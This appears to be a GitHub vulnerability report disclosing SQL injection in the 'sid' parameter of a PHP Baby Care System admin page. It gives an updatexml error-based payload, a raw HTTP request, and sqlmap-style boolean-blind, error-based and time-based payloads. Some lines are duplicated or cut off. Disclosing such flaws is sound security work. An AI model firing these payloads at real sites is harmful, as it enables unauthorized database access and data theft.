

main

...

bug_report / vendors / janobe / baby-care-system / SQLi-13.md



debug601 Create SQLi-13.md

History

1 contributor

44 lines (34 sloc) 2.2 KB

...

Body Care System has SQL injection vulnerability

vendor: <https://www.sourcecodester.com/php/14622/baby-care-system-phpmysql-full-source-code.html>

Vulnerability file: /BabyCare/admin/siteoptions.php&social=display&value=0&sid=2

```
-?>
}<?php if($result['status']==1){ ?>
    <a href="admin.php?id=siteoptions&action=display&value=1&roleid=<?php echo $result['id']; ?>" class="btn btn-default">Show</a>
    <a href="admin.php?id=siteoptions&action=display&value=0&roleid=<?php echo $result['id']; ?>" class="btn btn-success">Hide</a>
<?php }else{ ?>
    <a href="admin.php?id=siteoptions&action=display&value=1&roleid=<?php echo $result['id']; ?>" class="btn btn-success">Show</a>
    <a href="admin.php?id=siteoptions&action=display&value=0&roleid=<?php echo $result['id']; ?>" class="btn btn-default">Hide</a>
<?php } ?>
<?php } ?>
```

Vulnerability location: /BabyCare/admin.php?

id=siteoptions&social=display&value=0&sid=2 //sid is Injection point

[+]Payload: /BabyCare/admin.php?

id=siteoptions&social=display&value=0&sid=2%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),2)--+ //sid is Injection point

GET /BabyCare/admin.php?id=siteoptions&social=display&value=0&sid=2%27%20and%20updat

Host: 192.168.1.19

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,

Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=h48mjnelp4g0935821l2k3g5ne
Connection: close

```
GET /BabyCare/admin.php?id=siteoptions&social=
display&value=0&sid=2%27%20and%20updatexml
(1,concat(0x7e,(select%20database()),0x7e)
,2)---+ HTTP/1.1
Host: 192.168.1.19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/99.0.4844.84
Safari/537.36
Accept:
text/html,application/xhtml+xml,application
/xml;q=0.9,image/avif,image/webp,image/apn
g,*/*;q=0.8,application/signed-exchange;v=
h3.~.~.~
```

```
<!--
/*
/* Admin Block: Social admin
control !
/*
-->



---



Parameter: sid (GET)



Type: boolean-based blind



Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause



Payload: id=siteoptions&social=display&value=0&sid=2' RLIKE (SELECT (CASE WHEN (



Type: error-based



Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause



Payload: id=siteoptions&social=display&value=0&sid=2' AND EXTRACTVALUE(9578,CONC



Type: time-based blind



Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)



Payload: id=siteoptions&social=display&value=0&sid=2' AND (SELECT 4775 FROM (SEL



---



```
Parameter: sid (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=siteoptions&social=display&value=0&sid=2' RLIKE (SELECT (CASE WHEN (1596=1596) THEN 2 ELSE 0x28 END))-- vRBd

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: id=siteoptions&social=display&value=0&sid=2' AND EXTRACTVALUE(9578,CONCAT(0x5c,0x716a7a6a71,(SELECT (ELT(9578=9578,1))),0x717a717871))-- BkeH

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=siteoptions&social=display&value=0&sid=2' AND (SELECT 4775 FROM (SELECT(SLEEP(5)))Cixw)-- gPVs
```


```